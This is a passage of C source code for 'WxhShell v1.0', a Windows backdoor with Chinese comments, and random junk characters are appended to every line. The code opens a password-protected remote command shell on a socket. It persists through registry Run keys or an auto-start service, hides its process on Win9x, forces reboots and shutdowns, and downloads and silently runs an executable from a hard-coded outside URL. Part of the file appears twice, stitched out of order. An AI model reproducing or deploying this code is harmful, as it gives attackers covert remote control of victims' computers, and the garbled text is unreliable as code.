    closesocket(wsh); DNP@A4~  
    ExitThread(0); |5MbAqjzC  
    } #*^+F?o,(  
    break; H"Dn]$Q\Z  
    } +B"0{>n}F  
  // 关机 5o 0Ch  
  case 'd': { E^CiOTN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qLK?%?.N<  
    if(Boot(SHUTDOWN)) $[ z y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VW<0Lt3  
    else { ^3~e/PKM  
    closesocket(wsh); | C+o;  
    ExitThread(0); [TTSA2  
    } c0rk<V%5+  
    break; ^%<pJMgdF  
    } 'EhBRU%  
  // 获取shell >I'% !E;  
  case 's': { ;[ 'a  
    CmdShell(wsh); d) ahF[82  
    closesocket(wsh); HdX2YPYn;  
    ExitThread(0); eJ@~o{,?>  
    break;  .\:J~(  
  } j*R,m1e8  
  // 退出 wCKj7y[  
  case 'x': { iK;opA"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I 3$dVls}  
    CloseIt(wsh); Wf26  
    break; e2)autBe  
    } p,W_'?,9  
  // 离开 r4XH =  
  case 'q': { >U!*y4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~)]} 91p  
    closesocket(wsh); rf K8q'@  
    WSACleanup(); ^{yk[tHpS  
    exit(1); xge7r3i  
    break;  zGlZ!t:  
        } Ud(`V:d  
  } 9S7A!AKE  
  } kxB.,'  
p( LZ)7/  
  // 提示信息 -ysn&d\rV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =:I+6PlF@  
} NL"G2[e  
  } Yl^mAS[w&  
c-4STPNQi  
  return; ,!QV>=  
} HIvZQQW|  
2I'~2o  
// shell模块句柄 ,FSrn~-j9  
int CmdShell(SOCKET sock) WcUJhi^\C  
{ b^CNVdo'  
STARTUPINFO si; P:xT0gtt  
ZeroMemory(&si,sizeof(si)); D-p.kA3MJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Y j~fb(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {8RFK4! V@  
PROCESS_INFORMATION ProcessInfo; b1?xeG#  
char cmdline[]="cmd"; m_NCx]#e   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hGTV;eU  
  return 0; ]$iqa"{  
} :l u5Uu~  
[:EvTY  
// 自身启动模式 $.E6S<(h  
int StartFromService(void) ef"?|sn  
{ %VNlXHO.  
typedef struct ?}P5p^6  
{ KW3+luI6  
  DWORD ExitStatus; IVxWxM*N<  
  DWORD PebBaseAddress; _.)eL3OF  
  DWORD AffinityMask; &:#h$`4  
  DWORD BasePriority; fz_nsVD  
  ULONG UniqueProcessId; SX0_v_%M  
  ULONG InheritedFromUniqueProcessId; KA s1(oG  
}   PROCESS_BASIC_INFORMATION; V A^l+Z,d  
8MwK.H[U  
PROCNTQSIP NtQueryInformationProcess; 6QQfQ,  
#/S {6c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !  NV#U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j Ch=@<9  
\_6OCVil  
  HANDLE             hProcess; ?)4?V\$  
  PROCESS_BASIC_INFORMATION pbi; $14:(<  
cQN sL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _"a=8a06G  
  if(NULL == hInst ) return 0; E>jh"|f:{  
g{k1&|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %q 3$|>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); si4-3eC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /! ajsn  
"\%On >  
  if (!NtQueryInformationProcess) return 0; QP@<)`1t9  
L:nXWz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *~XA'Vw!  
  if(!hProcess) return 0; $^/0<i$   
$rB3m~c|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; knp>m,w  
dtStTT  
  CloseHandle(hProcess); l: |D,q  
Dr3n+Q   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U\@A _ B  
if(hProcess==NULL) return 0; v5}X+'  
c~}l8M %  
HMODULE hMod; hS [SRa'.  
char procName[255]; >pyj]y^3  
unsigned long cbNeeded; R{YzH56M  
XUMX*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sUkm|K`#  
Q[n\R@  
  CloseHandle(hProcess); K+\nC)oG  
yc;3Id5?>  
if(strstr(procName,"services")) return 1; // 以服务启动 jR ~DToQ  
h+~P"i}&\  
  return 0; // 注册表启动 {BBw$m,o  
} 7u.|XmUz  
K]oM8H1  
// 主模块 |iYg >  
int StartWxhshell(LPSTR lpCmdLine) rt-\g1x  
{ +ZsX*/TOn  
  SOCKET wsl; #EO1`9f48x  
BOOL val=TRUE; g:ErZ;[  
  int port=0; yGBQ0o7E  
  struct sockaddr_in door; ;#+0L$<t  
 cc=gCE  
  if(wscfg.ws_autoins) Install(); '1SG(0  
BbOu/i|  
port=atoi(lpCmdLine);  P\m7 -  
%u\26[/  
if(port<=0) port=wscfg.ws_port; .Ce8L&cU  
NLd``=&  
  WSADATA data; *V^ #ga#A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GOy%^:Xd  
/c# `5L[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4Cb9%Q0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !cW[G/W8  
  door.sin_family = AF_INET; tq50fq'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~,6b_W p/  
  door.sin_port = htons(port); 10[Jl5+t  
l.)}t)my}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zJlQ_U-!  
closesocket(wsl); EOKzzX7 S  
return 1; EpPf _ \o  
} X&m'.PA  
>RI>J.~  
  if(listen(wsl,2) == INVALID_SOCKET) { u`:hMFTID  
closesocket(wsl); {i~8 :  
return 1; HjNxqaljt  
} H5>hx {  
  Wxhshell(wsl); er.L7  
  WSACleanup(); :c[n\)U[aa  
L #[]I,  
return 0; .ae O}^  
neF]=uCWnT  
} vH %gdpxX  
Rhzn/\)|  
// 以NT服务方式启动 qk(P>q8[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1t[j"CG(o  
{ ,.IEDF<&  
DWORD   status = 0; KGHq rc  
  DWORD   specificError = 0xfffffff; [&S}dQ"  
1M3% fW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d^ ZMS~\*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [e e%c Xo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #<7O08 :  
  serviceStatus.dwWin32ExitCode     = 0; xvLn'8H.  
  serviceStatus.dwServiceSpecificExitCode = 0; Ok-.}q>\Mv  
  serviceStatus.dwCheckPoint       = 0; u0`o A  
  serviceStatus.dwWaitHint       = 0; xgsjm) )  
~vdkFc(8B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /nx'Z0&+X  
  if (hServiceStatusHandle==0) return; &:*q_$]Oz  
4B+9z^oQ  
status = GetLastError(); ewsKH\#  
  if (status!=NO_ERROR) 2LY=D L7  
{ X*oMFQgP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9X<OJT;3J  
    serviceStatus.dwCheckPoint       = 0; XkKC!  
    serviceStatus.dwWaitHint       = 0; a)-FG P^  
    serviceStatus.dwWin32ExitCode     = status; 5-u=o )>  
    serviceStatus.dwServiceSpecificExitCode = specificError; YMpf+kN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w]j+9-._  
    return; >ndJNinV  
  } ?`?T7w|3 y  
w[Gh+L30=5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ']6VB,c`  
  serviceStatus.dwCheckPoint       = 0; qUF'{K   
  serviceStatus.dwWaitHint       = 0; >"X\>M`"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .] 4W!])9  
} q]& .#&h  
JwnAW}=  
// 处理NT服务事件,比如:启动、停止 XhU@W}}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4_M>OD/"  
{ ?0*8R K  
switch(fdwControl) fg%&N2/(.B  
{ r4_eTrC,  
case SERVICE_CONTROL_STOP: j|.} I  
  serviceStatus.dwWin32ExitCode = 0; ["<nq`~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2+8#H.  
  serviceStatus.dwCheckPoint   = 0; t/i5,le  
  serviceStatus.dwWaitHint     = 0; ] 7;f?+  
  { T0HuqJty  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |V[9}E: h  
  } 4NVV5_K a  
  return; 0 5\dl  
case SERVICE_CONTROL_PAUSE: Z*{] ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =x#FbvV  
  break; -!qu"A:  
case SERVICE_CONTROL_CONTINUE: >PKBo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K5Wg"^AHY/  
  break; ^o?SM^  
case SERVICE_CONTROL_INTERROGATE: ,M !tm7  
  break; eZhPu'id\s  
}; -OZ 5vH0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oj.A,Fh  
} 5R$G(Ap_  
_K9VMczj  
// 标准应用程序主函数 ,n,RFa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |8_JY2 R  
{ W3W'oo  
]6Ug>>x5  
// 获取操作系统版本 \b8sG"G  
OsIsNt=GetOsVer(); 4] > ]-b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >>dm }X  
9D\4n  
  // 从命令行安装 _gNz9$S  
  if(strpbrk(lpCmdLine,"iI")) Install(); V5}nOGV9  
G%p~m%zIK  
  // 下载执行文件 /{2*WI;  
if(wscfg.ws_downexe) { pV p:@0h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !4"sX+z9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Sj6i^"  
} ;.s l*q1A  
.k{ j]{k  
if(!OsIsNt) { <<A`aU^fX  
// 如果时win9x,隐藏进程并且设置为注册表启动 vY|^/[x#B  
HideProc(); | aQ"3d  
StartWxhshell(lpCmdLine); \/7i-B]G7  
} Gm`}(;(A  
else - "*r  
  if(StartFromService()) wu<])&F  
  // 以服务方式启动 K[\'"HyQ,X  
  StartServiceCtrlDispatcher(DispatchTable); S/vf'gj  
else rI$`9d  
  // 普通方式启动 q}uHFp/J  
  StartWxhshell(lpCmdLine); ExSe=4q#  
/T^ JS  
return 0; DH DZ_t:  
} cR-~)UyrO  
kU5.iK'  
!;@_VWR  
fyz nuUl  
=========================================== lor8@Qz  
3XiO@jzre  
f"#m=_Xm  
I:(m aMc  
HJ?+A-n/  
$h9='0Wi0'  
" y< R=  
4W4kwU6D  
#include <stdio.h> z9 u$~  
#include <string.h> :Br5a34q  
#include <windows.h> 5lKJll^2:  
#include <winsock2.h> AEmNHO@%q  
#include <winsvc.h> h)lPi   
#include <urlmon.h> a~h:qpg c  
$VG*q  
#pragma comment (lib, "Ws2_32.lib") n;HHogA  
#pragma comment (lib, "urlmon.lib") %x; x_  
+`mGK:>  
#define MAX_USER   100 // 最大客户端连接数 _eSd nHWx  
#define BUF_SOCK   200 // sock buffer K)7zKEp`cj  
#define KEY_BUFF   255 // 输入 buffer &ej8mq"\  
(9\;A*CZ  
#define REBOOT     0   // 重启 foF19_2 ,  
#define SHUTDOWN   1   // 关机 D\~zS`}  
vq*Q.0M+  
#define DEF_PORT   5000 // 监听端口 |s7`F%  
K`}{0@ilCw  
#define REG_LEN     16   // 注册表键长度 ;^ wd_  
#define SVC_LEN     80   // NT服务名长度 C F!Sa6  
yZ]:y-1  
// 从dll定义API =-cwXo{Q.O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %\O#&=$E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O-vGyNxP|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h<<>3A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MfF~8  
P`4]-5gE  
// wxhshell配置信息 '[|+aJ  
struct WSCFG { BC>=B@H0  
  int ws_port;         // 监听端口 ql{(Lf$  
  char ws_passstr[REG_LEN]; // 口令 wCs^J48=  
  int ws_autoins;       // 安装标记, 1=yes 0=no >DM44  
  char ws_regname[REG_LEN]; // 注册表键名 5  *}R$  
  char ws_svcname[REG_LEN]; // 服务名 8VG!TpX/B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uf<@ruN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M6 9 w-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ok5<TZ6t4k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {U]H;~3 ?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W+wA_s2&D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'k;4j|<  
2=0DCF;Bv  
}; <P ,~eX(r  
S0h'50WteJ  
// default Wxhshell configuration x_=n-lAF  
struct WSCFG wscfg={DEF_PORT, 75nNh~?)\  
    "xuhuanlingzhe",  %R#L  
    1, 4!Z5og1kn  
    "Wxhshell", @}_WE,r  
    "Wxhshell", #?MY&hdU9  
            "WxhShell Service", q>f<u&  
    "Wrsky Windows CmdShell Service", HD,xY4q&N  
    "Please Input Your Password: ", pA.J@,>`}  
  1, wS+V]`b  
  "http://www.wrsky.com/wxhshell.exe", =@Dwlze  
  "Wxhshell.exe" 3<=,1 cU  
    }; 0`.^MC?  
]$afC!Z  
// 消息定义模块 ' K@|3R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Y}?P+:%>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /-zXM;h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sb:d>6  
char *msg_ws_ext="\n\rExit."; r`&-9"+  
char *msg_ws_end="\n\rQuit."; M7f;Pa  
char *msg_ws_boot="\n\rReboot..."; )}Q(Tl\$  
char *msg_ws_poff="\n\rShutdown..."; W)'*m-I  
char *msg_ws_down="\n\rSave to "; i 8!zu!-0  
4p;aS$Q  
char *msg_ws_err="\n\rErr!"; UT~a &u  
char *msg_ws_ok="\n\rOK!"; A,su;Q h  
NC&DFJo  
char ExeFile[MAX_PATH]; |r ue=QZ  
int nUser = 0; gh`m*@  
HANDLE handles[MAX_USER]; 6s,uXn  
int OsIsNt; T|&[7%F3"  
a`Gx=8  
SERVICE_STATUS       serviceStatus; l1ZY1#%j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >+. ( r]  
#T`t79*N  
// 函数声明 U$oduY#  
int Install(void); (mxT2"fC  
int Uninstall(void); nEzf.[+9/  
int DownloadFile(char *sURL, SOCKET wsh); vVGDDDz/  
int Boot(int flag); Y_`-9'&  
void HideProc(void); ?!qY,9lhH  
int GetOsVer(void); R.7:3h  
int Wxhshell(SOCKET wsl); (E,T#uc{  
void TalkWithClient(void *cs); \~P=U;l=pO  
int CmdShell(SOCKET sock); L@=3dp!\Cu  
int StartFromService(void); <2C7<7{7  
int StartWxhshell(LPSTR lpCmdLine); Kn+S,1r  
oYWR')8g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NvM*h%ChM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); </uO e.l>Q  
:Hxv6  
// 数据结构和表定义 MX@IHc  
SERVICE_TABLE_ENTRY DispatchTable[] = =PGs{?+&O  
{ h|X^dQb]  
{wscfg.ws_svcname, NTServiceMain}, t 6v/sZ{F  
{NULL, NULL} 9@Cv5L?p\  
}; \uss Uv  
P%K4[c W~  
// 自我安装 R_=6GZH$G  
int Install(void) [qsEUc+Z.'  
{ Z{'i F   
  char svExeFile[MAX_PATH]; ETs>`#`6o  
  HKEY key; !3T&4t  
  strcpy(svExeFile,ExeFile); % `Z! 4L  
"RIZV  
// 如果是win9x系统,修改注册表设为自启动 G[jW<'f  
if(!OsIsNt) { #c^^=Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctcS:<r/3@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8,dBl!G=  
  RegCloseKey(key); w3jO6*_ M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |7x\m t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !?Wp+e6  
  RegCloseKey(key); 36US5ef  
  return 0; ]qhPd_$?D'  
    } dH( ('u[  
  } `({T]@]V  
} +}jJ&Z9 )  
else { S*yjee<@  
;;&}5jcV  
// 如果是NT以上系统,安装为系统服务 [$[:"N_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k{t`|BnPKB  
if (schSCManager!=0) [z 7bixN  
{ 37}D9:#5C  
  SC_HANDLE schService = CreateService V')0 Mr  
  ( `p+Zz"/  
  schSCManager, Dc)dE2  
  wscfg.ws_svcname, $\9~)Rq6  
  wscfg.ws_svcdisp, B7imV@<  
  SERVICE_ALL_ACCESS, Dd` Mv$*d8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v$^Z6>vVI  
  SERVICE_AUTO_START, ;J7F J3n  
  SERVICE_ERROR_NORMAL, D= 7c(  
  svExeFile, 5ZBKRu  
  NULL, '(/7[tJ  
  NULL, u]OW8rc  
  NULL, E lUEteZ  
  NULL, B5$kHM%p  
  NULL @V!r"Bkg.  
  ); "jw<V,,  
  if (schService!=0) n0is\ZK 0  
  { P9 Z}H(?C  
  CloseServiceHandle(schService); zl`h~}I  
  CloseServiceHandle(schSCManager); = 9 T$Gr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c [5KG}  
  strcat(svExeFile,wscfg.ws_svcname); W6Y@U$P#G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /t(C>$ }p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |ZQ@fmvL/p  
  RegCloseKey(key); --DoB=5%8  
  return 0; ]LM-@G+Jz  
    } A@Dw<.&_I  
  } Q`D_|L  
  CloseServiceHandle(schSCManager); )5 R=Z<  
} Nv"EV;$  
} G%Lt.?m[  
V(E/'DR  
return 1; 0#MqD[U(  
} (P`3 @H  
\J6j38D5  
// 自我卸载 n?c]M  
int Uninstall(void) ^4o;$u4R  
{ S.a%  
  HKEY key; |n] d34E  
y8DhOlewQ  
if(!OsIsNt) { ,#8e_3Z$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <'g:T(t  
  RegDeleteValue(key,wscfg.ws_regname); Q1z;/A$Al  
  RegCloseKey(key); QMZ)-ty"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QeK*j/  
  RegDeleteValue(key,wscfg.ws_regname); uyY|v$FM  
  RegCloseKey(key); !3ctB3eJ  
  return 0; |ely|U. Tf  
  } \!ej<T+JR>  
} Rx+p.  
} YtWJX kB  
else { [2Ud]l:6E  
/Js7`r=Rx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Z/x,-^*<  
if (schSCManager!=0) -xP!"  
{ yR\btx|e5~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2J;kSh1,L  
  if (schService!=0) l(#)WWr+  
  { jt.3P  
  if(DeleteService(schService)!=0) { to$h2#i_  
  CloseServiceHandle(schService); ~appY Av  
  CloseServiceHandle(schSCManager); 6!(@@^7{*  
  return 0; )<Hd T  
  } #KiRfx4G  
  CloseServiceHandle(schService); E^ SH\5B  
  } 3F<VH  
  CloseServiceHandle(schSCManager); $-*!pRaVU  
} Dmu/RD5X:  
} <(-hx+^  
9,"L^W8"k  
return 1; RnDt)3  
} +PuPO9jKO@  
9\DQ>V TQ  
// 从指定url下载文件 _zwUE  
int DownloadFile(char *sURL, SOCKET wsh) 1N>|yQz  
{ ,kn"> k9  
  HRESULT hr; GF^071]G  
char seps[]= "/"; 2]ape !(  
char *token; dB5b@9*  
char *file; =>! Y{: y(  
char myURL[MAX_PATH]; }7.PH'.8  
char myFILE[MAX_PATH]; |a!fhl+  
Zc`BiLzrIG  
strcpy(myURL,sURL); X<%Q"2hW  
  token=strtok(myURL,seps); k'5?M  
  while(token!=NULL) ~Wa6J4B{K  
  { byfJy^8G  
    file=token; ut I"\1hQ  
  token=strtok(NULL,seps); *^wm1|5  
  } ?n ZY)  
1cD! :[  
GetCurrentDirectory(MAX_PATH,myFILE); }-sdov<<  
strcat(myFILE, "\\"); `6xkf&Kt  
strcat(myFILE, file); TTTPxO,  
  send(wsh,myFILE,strlen(myFILE),0); ixT:)|'i  
send(wsh,"...",3,0); 9*1,!%]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /x1![$oC0  
  if(hr==S_OK) u[ Yk  
return 0; WV_.Tiy<  
else k<\$OoOZ  
return 1; wGP;Vbk  
8 {X"h#  
} (X3Tav  
SV~~Q_U9  
// 系统电源模块 e F3,2DD C  
int Boot(int flag) Gnq?"</  
{ vG"=h%  
  HANDLE hToken; tyqT  
  TOKEN_PRIVILEGES tkp; n@,G8=J?  
d*%`!G  
  if(OsIsNt) { L|}lccpI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u2?|Ue@[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `I,,C,{C  
    tkp.PrivilegeCount = 1; &H`jL4S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b7p@Dn?E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S_IUV)  
if(flag==REBOOT) { [CXrSST")E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZU%[guf  
  return 0; ]33>m|?@  
} |* ;B  
else { -RvQB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6U R2IxbE  
  return 0; m1M t#@,$  
} Pf\D-1gi  
  } ]X ?7ZI^  
  else { Bx4w)9+3  
if(flag==REBOOT) { +N:o-9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9#MBaO8_"  
  return 0; j+uLV{~g6  
} 2h1vVF3  
else { O%5 r[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'DL`Ee\  
  return 0; E4~<V=2l  
} 42(Lb'G  
} h1B16)  
K+3IWZ&+dG  
return 1; 9vGu0Um  
} g| vNhq0|i  
M$>1L  
// win9x进程隐藏模块 #\ X#w<\?  
void HideProc(void) rzm:Yx  
{ C,ARXW1  
0dGAP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vnM@QfN  
  if ( hKernel != NULL ) b2OQtSr a  
  { KmA;HiH%J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DkvF5c&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d\R,Q  
    FreeLibrary(hKernel); pxCK;]  
  } uF9C -H@:  
pu 7{a  
return; pgQV/6  
} /tf5Bv'<  
1+jAz`nA:T  
// 获取操作系统版本 8o'_`{ba  
int GetOsVer(void) =E.t`x=  
{ uj R_"r|l  
  OSVERSIONINFO winfo; V9{]OV%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SEGri#s  
  GetVersionEx(&winfo); 1p/3!1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pgE}NlW  
  return 1; XBb~\p3y  
  else B&[M7i  
  return 0; }%'?p<^M  
} \KQ71yqY  
g1W.mAA3B  
// 客户端句柄模块 w35J.zn  
int Wxhshell(SOCKET wsl) LYz.Ci}  
{ 2[ RoxKm  
  SOCKET wsh; YW_Q\|p]M  
  struct sockaddr_in client; @` 1Ds  
  DWORD myID; V )x$|!(  
rvbLyv;~  
  while(nUser<MAX_USER) Vzdh8)Mu\  
{ R`DKu=  
  int nSize=sizeof(client); u'|4?"uz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M<.d8?p )  
  if(wsh==INVALID_SOCKET) return 1; gcPTLh[^Er  
B8V>NvE~o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j.w@(<=x  
if(handles[nUser]==0) mKL<<L [  
  closesocket(wsh); JORGj0v  
else Mc09ES  
  nUser++; q Gw -tPD<  
  } C":32_q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +eyc`J  
*W0y: 3dB3  
  return 0; Ma.`A  
} bx{$Y_L+p  
\?0&0;5  
// 关闭 socket tD(7^GuR  
void CloseIt(SOCKET wsh) +*ZO&yJQ^<  
{ 2ORNi,_I  
closesocket(wsh); [ sN EHf  
nUser--; EQb7 -vhg  
ExitThread(0); )Dw,q~xgg0  
} R7$:@<:g  
 FT#8L  
// 客户端请求句柄 ein4^o<f.  
void TalkWithClient(void *cs) JJ}0gZ   
{ &]e'KdXF  
z3&]%Q&  
  SOCKET wsh=(SOCKET)cs; Ox&P}P0f  
  char pwd[SVC_LEN]; (l-tvk4Ln  
  char cmd[KEY_BUFF]; E^ P,*s  
char chr[1]; uC+V6;  
int i,j; J&[@}$N  
/^X/8  
  while (nUser < MAX_USER) { 4 N H  
b$ve sJ  
if(wscfg.ws_passstr) { <tF9V Jq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ e\?I9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WN{ 9  
  //ZeroMemory(pwd,KEY_BUFF); ?t/~lv  
      i=0; x(hE3S#+  
  while(i<SVC_LEN) { p7veQ`yNc  
z.$4!$q  
  // 设置超时 ,Sq/y~  
  fd_set FdRead; Z*y`R XE  
  struct timeval TimeOut; //T>G_1  
  FD_ZERO(&FdRead); P<l&0dPO8  
  FD_SET(wsh,&FdRead); A )^`?m3  
  TimeOut.tv_sec=8; i5Zk_-\#H  
  TimeOut.tv_usec=0; Kqp(%8mf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !/}O>v~o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |X0Y-  
|uqf:V`z:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aGJC1x  
  pwd=chr[0]; Bg&i63XL$$  
  if(chr[0]==0xd || chr[0]==0xa) { [s"O mAy4  
  pwd=0; O4r0R1VQM  
  break; FME3sa$  
  } MHh~vy'HB5  
  i++; ap&?r`Tu  
    } M)eO6oX|  
:n0vQ5a  
  // 如果是非法用户,关闭 socket (8Bk;bd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (@%gS[]  
} .q%WuQw  
rs,2rSsg!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lV1G<qP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tE@;X=  
POdUV  
while(1) { #0ETY\}ZD  
SnE(o)Q  
  ZeroMemory(cmd,KEY_BUFF); f0X_fm_q  
`8^TTQ  
      // 自动支持客户端 telnet标准   `S6x<J&T\/  
  j=0; cW i}V  
  while(j<KEY_BUFF) { r30 <(nF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ebT:/wu,2  
  cmd[j]=chr[0]; )z&/_E=  
  if(chr[0]==0xa || chr[0]==0xd) { Qa.<K{m#?  
  cmd[j]=0; V'kX)$  
  break; -i)ZQCE  
  } Qp/QaVQ+  
  j++; ;.TRWn#  
    } 9?0^ap,T  
*^f<W6xc  
  // 下载文件 W_kHj}dj,p  
  if(strstr(cmd,"http://")) { rW+ =,L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lrv3fPIW  
